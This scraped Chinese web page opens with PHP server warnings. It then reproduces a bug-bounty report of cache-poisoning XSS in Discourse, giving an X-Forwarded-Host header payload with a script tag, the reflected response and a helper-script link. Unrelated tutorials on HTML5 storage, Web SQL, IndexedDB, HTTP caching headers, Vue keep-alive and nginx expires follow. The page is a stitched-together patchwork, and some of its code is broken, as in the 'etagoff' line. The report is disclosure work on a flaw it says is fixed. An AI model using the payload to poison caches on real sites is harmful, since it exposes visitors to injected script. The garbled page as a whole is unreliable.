Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
洞源代碼:
https://github.com/discourse/discourse/blob/master/app/views/common/_special_font_face.html.erb#L12-L18
<% woff2_url="#{asset_path("fontawesome-webfont.woff2")}?#{font_domain}&v=4.7.0".html_safe %> <link rel="preload" href="<%=woff2_url%>" as="font" type="font/woff2" crossorigin /> ... src: url('<%=woff2_url %>') format('woff2'),
HTTP Request
GET /?xx HTTP/1.1 Host: meta.discourse.org X-Forwarded-Host: cacheattack'"><script>alert(document.domain)</script>
HTTP Response
<link rel="preload" > <script>alert(document.domain)</script> &2&v=4.7.0" as="font" type="font/woff2" crossorigin /> <style> [@font-face](/font-face) { font-family: 'FontAwesome'; src: url('https://d11a6trkgmumsb.cloudfront.net/assets/fontawesome-webfont-2adefcbc041e7d18fcf2d417879dc5a09997aa64d675b7a3c4b6ce33da13f3fe.woff2?https://cacheattack'"> <script>alert(document.domain)</script> &2&v=4.7.0') format('woff2'), url('https://d11a6trkgmumsb.cloudfront.net/assets/fontawesome-webfont-ba0c59deb5450f5cb41b3f93609ee2d0d995415877ddfa223e8a8a7533474f07.woff?https://cacheattack'"><script>alert(document.domain)</script>&2&v=4.7.0') format('woff'); } </style>
此外,應(yīng)用程序緩存HTTP響應(yīng)1分鐘,因此如果您發(fā)送帶有XSS有效負(fù)載的HTTP請(qǐng)求,它將被緩存,并在標(biāo)頭匹配時(shí)顯示所有請(qǐng)求:
請(qǐng)求開始行,接受,接受編碼。
重現(xiàn)步驟
為了更簡(jiǎn)單的演示,我寫了一個(gè)腳本。
該腳本從請(qǐng)求中獲取必要的標(biāo)頭并中毒緩存。
您只需打開緩存頁(yè)面即可。
1)打開url
https://blackfan.ru/bugbounty/webcachedeception.php?url=https://meta.discourse.org/?cacheattack&payload=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cache=60
2)結(jié)果
網(wǎng)站的漏洞演示已經(jīng)修復(fù)》》》》》》。
影響:攻擊者可以每分鐘收集Accep + Accept-Encoding的流行組合并中毒網(wǎng)頁(yè)緩存。
影響就像在任何頁(yè)面上存儲(chǔ)的XSS一樣。
言
本篇文章主要介紹了前端HTML5幾種存儲(chǔ)方式的總結(jié) ,主要包括本地存儲(chǔ)localstorage,本地存儲(chǔ)sessionstorage,離線緩存(application cache),Web SQL,IndexedDB。有興趣的可以了解一下。
正文開始~
h5之前,存儲(chǔ)主要是用cookies。cookies缺點(diǎn)有在請(qǐng)求頭上帶著數(shù)據(jù),大小是4k之內(nèi)。主Domain污染。
主要應(yīng)用:購(gòu)物車、客戶登錄
對(duì)于IE瀏覽器有UserData,大小是64k,只有IE瀏覽器支持。
目標(biāo)
存儲(chǔ)方式:
以鍵值對(duì)(Key-Value)的方式存儲(chǔ),永久存儲(chǔ),永不失效,除非手動(dòng)刪除。
大小:
每個(gè)域名5M
支持情況:
注意:IE9 localStorage不支持本地文件,需要將項(xiàng)目署到服務(wù)器,才可以支持!
if(window.localStorage){ alert('This browser supports localStorage'); }else{ alert('This browser does NOT support localStorage'); }
常用的API:
getItem //取記錄
setIten//設(shè)置記錄
removeItem//移除記錄
key//取key所對(duì)應(yīng)的值
clear//清除記錄
存儲(chǔ)的內(nèi)容:
數(shù)組,圖片,json,樣式,腳本。。。(只要是能序列化成字符串的內(nèi)容都可以存儲(chǔ))
HTML5 的本地存儲(chǔ) API 中的 localStorage 與 sessionStorage 在使用方法上是相同的,區(qū)別在于 sessionStorage 在關(guān)閉頁(yè)面后即被清空,而 localStorage 則會(huì)一直保存。
本地緩存應(yīng)用所需的文件
使用方法:
①配置manifest文件
頁(yè)面上:
<!DOCTYPE HTML> <html manifest="demo.appcache"> ... </html>
Manifest 文件:
manifest 文件是簡(jiǎn)單的文本文件,它告知瀏覽器被緩存的內(nèi)容(以及不緩存的內(nèi)容)。
manifest 文件可分為三個(gè)部分:
①CACHE MANIFEST - 在此標(biāo)題下列出的文件將在首次下載后進(jìn)行緩存
②NETWORK - 在此標(biāo)題下列出的文件需要與服務(wù)器的連接,且不會(huì)被緩存
③FALLBACK - 在此標(biāo)題下列出的文件規(guī)定當(dāng)頁(yè)面無(wú)法訪問(wèn)時(shí)的回退頁(yè)面(比如 404 頁(yè)面)
完整demo:
CACHE MANIFEST # 2016-07-24 v1.0.0 /theme.css /main.js NETWORK: login.jsp FALLBACK: /html/ /offline.html
服務(wù)器上:manifest文件需要配置正確的MIME-type,即 "text/cache-manifest"。
如Tomcat:
<mime-mapping> <extension>manifest</extension> <mime-type>text/cache-manifest</mime-type> </mime-mapping>
常用API:
核心是applicationCache對(duì)象,有個(gè)status屬性,表示應(yīng)用緩存的當(dāng)前狀態(tài):
0(UNCACHED) : 無(wú)緩存, 即沒(méi)有與頁(yè)面相關(guān)的應(yīng)用緩存
1(IDLE) : 閑置,即應(yīng)用緩存未得到更新
2 (CHECKING) : 檢查中,即正在下載描述文件并檢查更新
3 (DOWNLOADING) : 下載中,即應(yīng)用緩存正在下載描述文件中指定的資源
4 (UPDATEREADY) : 更新完成,所有資源都已下載完畢
5 (IDLE) : 廢棄,即應(yīng)用緩存的描述文件已經(jīng)不存在了,因此頁(yè)面無(wú)法再訪問(wèn)應(yīng)用緩存
相關(guān)的事件:
表示應(yīng)用緩存狀態(tài)的改變:
checking : 在瀏覽器為應(yīng)用緩存查找更新時(shí)觸發(fā)
error : 在檢查更新或下載資源期間發(fā)送錯(cuò)誤時(shí)觸發(fā)
noupdate : 在檢查描述文件發(fā)現(xiàn)文件無(wú)變化時(shí)觸發(fā)
downloading : 在開始下載應(yīng)用緩存資源時(shí)觸發(fā)
progress:在文件下載應(yīng)用緩存的過(guò)程中持續(xù)不斷地下載地觸發(fā)
updateready : 在頁(yè)面新的應(yīng)用緩存下載完畢觸發(fā)
cached : 在應(yīng)用緩存完整可用時(shí)觸發(fā)
Application Cache的三個(gè)優(yōu)勢(shì):
① 離線瀏覽
② 提升頁(yè)面載入速度
③ 降低服務(wù)器壓力
注意事項(xiàng):
1. 瀏覽器對(duì)緩存數(shù)據(jù)的容量限制可能不太一樣(某些瀏覽器設(shè)置的限制是每個(gè)站點(diǎn) 5MB)
2. 如果manifest文件,或者內(nèi)部列舉的某一個(gè)文件不能正常下載,整個(gè)更新過(guò)程將視為失敗,瀏覽器繼續(xù)全部使用老的緩存
3. 引用manifest的html必須與manifest文件同源,在同一個(gè)域下
4. 瀏覽器會(huì)自動(dòng)緩存引用manifest文件的HTML文件,這就導(dǎo)致如果改了HTML內(nèi)容,也需要更新版本才能做到更新。
5. manifest文件中CACHE則與NETWORK,F(xiàn)ALLBACK的位置順序沒(méi)有關(guān)系,如果是隱式聲明需要在最前面
6. FALLBACK中的資源必須和manifest文件同源
7. 更新完版本后,必須刷新一次才會(huì)啟動(dòng)新版本(會(huì)出現(xiàn)重刷一次頁(yè)面的情況),需要添加監(jiān)聽版本事件。
8. 站點(diǎn)中的其他頁(yè)面即使沒(méi)有設(shè)置manifest屬性,請(qǐng)求的資源如果在緩存中也從緩存中訪問(wèn)
9. 當(dāng)manifest文件發(fā)生改變時(shí),資源請(qǐng)求本身也會(huì)觸發(fā)更新
離線緩存與傳統(tǒng)瀏覽器緩存區(qū)別:
1. 離線緩存是針對(duì)整個(gè)應(yīng)用,瀏覽器緩存是單個(gè)文件
2. 離線緩存斷網(wǎng)了還是可以打開頁(yè)面,瀏覽器緩存不行
3. 離線緩存可以主動(dòng)通知瀏覽器更新資源
關(guān)系數(shù)據(jù)庫(kù),通過(guò)SQL語(yǔ)句訪問(wèn)
Web SQL 數(shù)據(jù)庫(kù) API 并不是 HTML5 規(guī)范的一部分,但是它是一個(gè)獨(dú)立的規(guī)范,引入了一組使用 SQL 操作客戶端數(shù)據(jù)庫(kù)的 APIs。
支持情況:
Web SQL 數(shù)據(jù)庫(kù)可以在最新版的 Safari, Chrome 和 Opera 瀏覽器中工作。
核心方法:
①openDatabase:這個(gè)方法使用現(xiàn)有的數(shù)據(jù)庫(kù)或者新建的數(shù)據(jù)庫(kù)創(chuàng)建一個(gè)數(shù)據(jù)庫(kù)對(duì)象。
②transaction:這個(gè)方法讓我們能夠控制一個(gè)事務(wù),以及基于這種情況執(zhí)行提交或者回滾。
③executeSql:這個(gè)方法用于執(zhí)行實(shí)際的 SQL 查詢。
打開數(shù)據(jù)庫(kù):
var db=openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024,fn); //openDatabase() 方法對(duì)應(yīng)的五個(gè)參數(shù)分別為:數(shù)據(jù)庫(kù)名稱、版本號(hào)、描述文本、數(shù)據(jù)庫(kù)大小、創(chuàng)建回調(diào)
執(zhí)行查詢操作:
var db=openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024); db.transaction(function (tx) { tx.executeSql('CREATE TABLE IF NOT EXISTS WIN (id unique, name)'); });
插入數(shù)據(jù):
var db=openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024); db.transaction(function (tx) { tx.executeSql('CREATE TABLE IF NOT EXISTS WIN (id unique, name)'); tx.executeSql('INSERT INTO WIN (id, name) VALUES (1, "winty")'); tx.executeSql('INSERT INTO WIN (id, name) VALUES (2, "LuckyWinty")'); });
讀取數(shù)據(jù):
db.transaction(function (tx) { tx.executeSql('SELECT * FROM WIN', [], function (tx, results) { var len=results.rows.length, i; msg="<p>查詢記錄條數(shù): " + len + "</p>"; document.querySelector('#status').innerHTML +=msg; for (i=0; i < len; i++){ alert(results.rows.item(i).name ); } }, null); });
由這些操作可以看出,基本上都是用SQL語(yǔ)句進(jìn)行數(shù)據(jù)庫(kù)的相關(guān)操作,如果你會(huì)MySQL的話,這個(gè)應(yīng)該比較容易用。
索引數(shù)據(jù)庫(kù) (IndexedDB) API(作為 HTML5 的一部分)對(duì)創(chuàng)建具有豐富本地存儲(chǔ)數(shù)據(jù)的數(shù)據(jù)密集型的離線 HTML5 Web 應(yīng)用程序很有用。同時(shí)它還有助于本地緩存數(shù)據(jù),使傳統(tǒng)在線 Web 應(yīng)用程序(比如移動(dòng) Web 應(yīng)用程序)能夠更快地運(yùn)行和響應(yīng)。
異步API:
在IndexedDB大部分操作并不是我們常用的調(diào)用方法,返回結(jié)果的模式,而是請(qǐng)求——響應(yīng)的模式,比如打開數(shù)據(jù)庫(kù)的操作
這樣,我們打開數(shù)據(jù)庫(kù)的時(shí)候,實(shí)質(zhì)上返回了一個(gè)DB對(duì)象,而這個(gè)對(duì)象就在result中。由上圖可以看出,除了result之外。還有幾個(gè)重要的屬性就是onerror、onsuccess、onupgradeneeded(我們請(qǐng)求打開的數(shù)據(jù)庫(kù)的版本號(hào)和已經(jīng)存在的數(shù)據(jù)庫(kù)版本號(hào)不一致的時(shí)候調(diào)用)。這就類似于我們的ajax請(qǐng)求那樣。我們發(fā)起了這個(gè)請(qǐng)求之后并不能確定它什么時(shí)候才請(qǐng)求成功,所以需要在回調(diào)中處理一些邏輯。
關(guān)閉與刪除:
function closeDB(db){ db.close(); } function deleteDB(name){ indexedDB.deleteDatabase(name); }
數(shù)據(jù)存儲(chǔ):
indexedDB中沒(méi)有表的概念,而是objectStore,一個(gè)數(shù)據(jù)庫(kù)中可以包含多個(gè)objectStore,objectStore是一個(gè)靈活的數(shù)據(jù)結(jié)構(gòu),可以存放多種類型數(shù)據(jù)。也就是說(shuō)一個(gè)objectStore相當(dāng)于一張表,里面存儲(chǔ)的每條數(shù)據(jù)和一個(gè)鍵相關(guān)聯(lián)。
我們可以使用每條記錄中的某個(gè)指定字段作為鍵值(keyPath),也可以使用自動(dòng)生成的遞增數(shù)字作為鍵值(keyGenerator),也可以不指定。選擇鍵的類型不同,objectStore可以存儲(chǔ)的數(shù)據(jù)結(jié)構(gòu)也有差異。
學(xué)習(xí)從來(lái)不是一個(gè)人的事情,要有個(gè)相互監(jiān)督的伙伴,想要學(xué)習(xí)或交流前端問(wèn)題的小伙伴可以私信“學(xué)習(xí)”小明獲取web前端入門資料,一起學(xué)習(xí),一起成長(zhǎng)!
端緩存指的是,瀏覽器對(duì)服務(wù)器最近請(qǐng)求過(guò)的資源進(jìn)行存儲(chǔ),通過(guò)這種方式來(lái)達(dá)到減少與服務(wù)器的交互請(qǐng)求,以此減少對(duì)帶寬流量的浪費(fèi),以及減少了服務(wù)器的負(fù)擔(dān),而瀏覽器緩存主要分為兩種,強(qiáng)緩存和協(xié)商緩存
強(qiáng)緩存所謂的“強(qiáng)”,在于強(qiáng)制讓瀏覽器按照一定時(shí)間范圍內(nèi)來(lái)存儲(chǔ)來(lái)自服務(wù)器的資源,有點(diǎn)強(qiáng)制的味道~,強(qiáng)緩存是利用Expires或者Cache-Control,不發(fā)送請(qǐng)求,直接從緩存中取,請(qǐng)求狀態(tài)碼會(huì)返回200(from cache)
Expires是HTTP/1.0中提及的,讓服務(wù)器為文件資源設(shè)置一個(gè)過(guò)期時(shí)間,在多長(zhǎng)時(shí)間內(nèi)可以將這些內(nèi)容視為最新的,允許客戶端在這個(gè)時(shí)間之前不去檢查,MDN 具體介紹 點(diǎn)此
指定緩存到期GMT的絕對(duì)時(shí)間,如果expires到期需要重新請(qǐng)求
Expires:Sat, 09 Jun 2020 08:13:56 GMT
相比上一小節(jié)講的 expires,兩者有什么區(qū)別呢? Cache-Control 你可以理解成為高級(jí)版expires,為了彌補(bǔ)Expires的缺陷在Http1.1協(xié)議引入的,且強(qiáng)大之外優(yōu)先級(jí)也更高,也就是當(dāng)Expires和Cache-Control同時(shí)存在時(shí),Cache-Control 會(huì)覆蓋Expires的配置,即Cache-Control ( Http 1.1 ) > Expires ( Http 1.0 )
Cache-Control 比Expires比較要內(nèi)涵,具備更多的屬性,其中包括如下
? no-cache :可以在本地緩存,可以在代理服務(wù)器緩存,需要先驗(yàn)證才可使用緩存
? no-store : 禁止瀏覽器緩存,只能通過(guò)服務(wù)器獲取
? max-age : 設(shè)置資源的過(guò)期時(shí)間(效果與expires一樣)
例子演示:
// 設(shè)置緩存時(shí)間為1年
Cache-Control: max-age=31536000
Expires:Sat, 09 Jun 2020 08:13:56 GMT //同時(shí)設(shè)置兩個(gè),Expires會(huì)失效
則意味著瀏覽器可以緩存一年的時(shí)間,無(wú)需請(qǐng)求服務(wù)器,同時(shí)如果同時(shí)聲明Expires和Cache-Control,Expires將失效
?你可能會(huì)有疑惑Cache-Control no-cache與max-age=0有什么區(qū)別?
本質(zhì)上就是你按瀏覽器刷新與強(qiáng)制刷新的區(qū)分,看下一節(jié)
相信你離不開的操作就是F5(刷新按鈕),但是不同的刷新操作意味著不同的反應(yīng)
? Ctrl + F5 (強(qiáng)制刷新)::request header多了cache-control: no-cache (重新獲取請(qǐng)求)
? F5 (刷新)/ctrl+R刷新::request header多了 cache-control: max-age=0 (需要先驗(yàn)證才可使用緩存,Expires無(wú)效)
協(xié)商緩存,就沒(méi)有強(qiáng)緩存那么霸道,協(xié)商緩存需要客戶端和服務(wù)端兩端進(jìn)行交互,通過(guò)服務(wù)器告知瀏覽器緩存是否可用,并增加緩存標(biāo)識(shí),“有事好好商量”,兩者都會(huì)互相協(xié)商。 協(xié)商緩存,其實(shí)就是服務(wù)器與瀏覽器交互過(guò)程,一般有兩個(gè)回合,而協(xié)商主要有以下幾種方式:
? 第一回合:當(dāng)瀏覽器第一次請(qǐng)求服務(wù)器資源時(shí),服務(wù)器通過(guò)Last-Modified 來(lái)設(shè)置響應(yīng)頭的緩存標(biāo)識(shí),把資源最后修改的時(shí)間作為值寫入,再將資源返回給瀏覽器
? 第二回合:第二次請(qǐng)求時(shí),瀏覽器會(huì)帶上 If-Modified-Since 請(qǐng)求頭去訪問(wèn)服務(wù)器,服務(wù)器將 If-Modified-Since 中攜帶的時(shí)間與資源修改的時(shí)間對(duì)比,當(dāng)時(shí)間不一致時(shí),意味更新了,服務(wù)器會(huì)返回新資源并更新Last-Modified,當(dāng)時(shí)間一致時(shí),意味著資源沒(méi)有更新,服務(wù)器會(huì)返回304狀態(tài)碼,瀏覽器將從緩存中讀取資源
//response header 第一回合
Last-Modified: Wed, 21 Oct 2019 07:28:00 GMT
//request header 第二回合
If-Modified-Since: Wed, 21 Oct 2019 07:29:00 GMT
MDN中提到ETag 之間的比較使用的是強(qiáng)比較算法,即只有在每一個(gè)字節(jié)都相同的情況下,才可以認(rèn)為兩個(gè)文件是相同的,而這個(gè)hash值,是由對(duì)文件的索引節(jié)、大小和最后修改時(shí)間進(jìn)行Hash后得到的,而且要注意的是分布式系統(tǒng)不適用,了解更多點(diǎn)我
? 第一回合: 也是跟上文一樣,瀏覽器去請(qǐng)求服務(wù)器資源,不過(guò)這次不是通過(guò)Last-Modified了,而是用Etag來(lái)設(shè)置響應(yīng)頭緩存標(biāo)識(shí)。Etag是由服務(wù)端生成的,然后瀏覽器會(huì)將Etag與資源緩存
? 第二回合: 瀏覽器會(huì)將 Etag 放入 If-None-Match 請(qǐng)求頭中去訪問(wèn)服務(wù)器,服務(wù)器收到后,會(huì)對(duì)比兩端的標(biāo)識(shí),當(dāng)兩者不一致時(shí),意味著資源更新,服務(wù)器會(huì)返回新資源并更新Etag,瀏覽器將從緩存中讀取資源,當(dāng)兩者一致時(shí),意味著資源沒(méi)有更新,服務(wù)器會(huì)返回304狀態(tài)碼,瀏覽器將從緩存中讀取資源
//response header 第一回合
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
//request header 第二回合
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
對(duì)比完 Last-Modified 與 Etag,我們可以很顯然看到,協(xié)商緩存每次請(qǐng)求都會(huì)與服務(wù)器發(fā)生“關(guān)系”,第一回合都是拿數(shù)據(jù)和標(biāo)識(shí),而第二回合就是瀏覽器“咨詢”服務(wù)器是否資源已經(jīng)更新的過(guò)程。
同時(shí),如果以上兩種方式同時(shí)使用,Etag 優(yōu)先級(jí)會(huì)更高,即
Etag( Http 1.1 ) > Last-Modified ( Http 1.0 )
這是瀏覽器沒(méi)有跟服務(wù)器確認(rèn),直接用了瀏覽器緩存,性能最好的,沒(méi)有網(wǎng)絡(luò)請(qǐng)求,那么什么情況會(huì)出現(xiàn)這種情況?一般在expires或者 Cache-Control 中的max-age頭部有效時(shí)會(huì)發(fā)生
是瀏覽器和服務(wù)器“交流”了,確定使用緩存后,再用緩存,也就是第二節(jié)講的通過(guò)Etag或Last-Modified的第二回合中對(duì)比,對(duì)比兩者一致,則意味資源不更新,則服務(wù)器返回304狀態(tài)碼
以上兩種緩存全都失敗,也就是未緩存或者緩存未過(guò)期,需要瀏覽器去獲取最新的資源,效率最低 一句話:緩存是否過(guò)期用:Cache-Control(max-age), Expires,緩存是否有效用:Last-Modified,Etag
講述緩存在我們開發(fā)中最常見的使用
? keepAlive
vue官方文檔提到,當(dāng)在這些組件之間切換的時(shí)候,你有時(shí)會(huì)想保持這些組件的狀態(tài),以避免反復(fù)重渲染導(dǎo)致的性能問(wèn)題,這個(gè)時(shí)候我們希望那些標(biāo)簽的組件實(shí)例能夠被在它們第一次被創(chuàng)建的時(shí)候緩存下來(lái),我們可以用一個(gè) 元素將其動(dòng)態(tài)組件包裹起來(lái) 官方文檔
主要用于保留組件狀態(tài)或避免重新渲染,也意味著不會(huì)再走mounted,beforeDestroy函數(shù),組件將被緩存,不用銷毀重新渲染,性能比較好
路由的選擇性緩存
// router.js
export default new Router({
routes:[
{ path: '/test',
name: 'test',
component: ()=> import('@/views/test/test.vue'),
meta: {
title: '測(cè)試',
keepAlive: true
}
},
// App.vue
<keep-alive v-if='$route.meta.keepAlive'>
<router-view></router-view>
</keep-alive>
<router-view v-if='!$route.meta.keepAlive'></router-view>
組件緩存
<keep-alive>
<component v-bind:is="currentTabComponent"></component>
</keep-alive>
前端工程化開發(fā),可以使用 Webpack 編譯,打包的資源文件路徑里自動(dòng)帶有一串隨機(jī)字符串,稱為 hash
在vue cli腳手架中,我們可以通過(guò)配置vue.config.js(本質(zhì)上是配置webpack)來(lái)設(shè)置編譯生成的文件具備hash值,意味著每次打包編譯的文件都是唯一的,來(lái)防止因?yàn)榫彺妫瑢?dǎo)致資源沒(méi)有更新。
Vue-Cli 3x版本
// vue.config.js
module.exports={
filenameHashing: true,
chainWebpack: (config)=> {
config.output.filename('[name].[hash].js').end();
}
}
? 配置expires
假設(shè)我想通過(guò)web應(yīng)用的圖片緩存一周,那你可以在nginx中配置如下,配置完之后一周之內(nèi)的資源只會(huì)訪問(wèn)瀏覽器的資源,而不是去請(qǐng)求Nginx
location ~ \.(gif|jpg|jpeg|png)$ {
root /var/mywww/html/public/
expires 7d; //表示把數(shù)據(jù)緩存7天,d:天,s:秒,m:分
}
location ~ \.(gif|jpg|jpeg|png)$ {
root /var/mywww/html/public/
etagoff; // 默認(rèn)是開啟 on
}
掘金@樹醬
*請(qǐng)認(rèn)真填寫需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。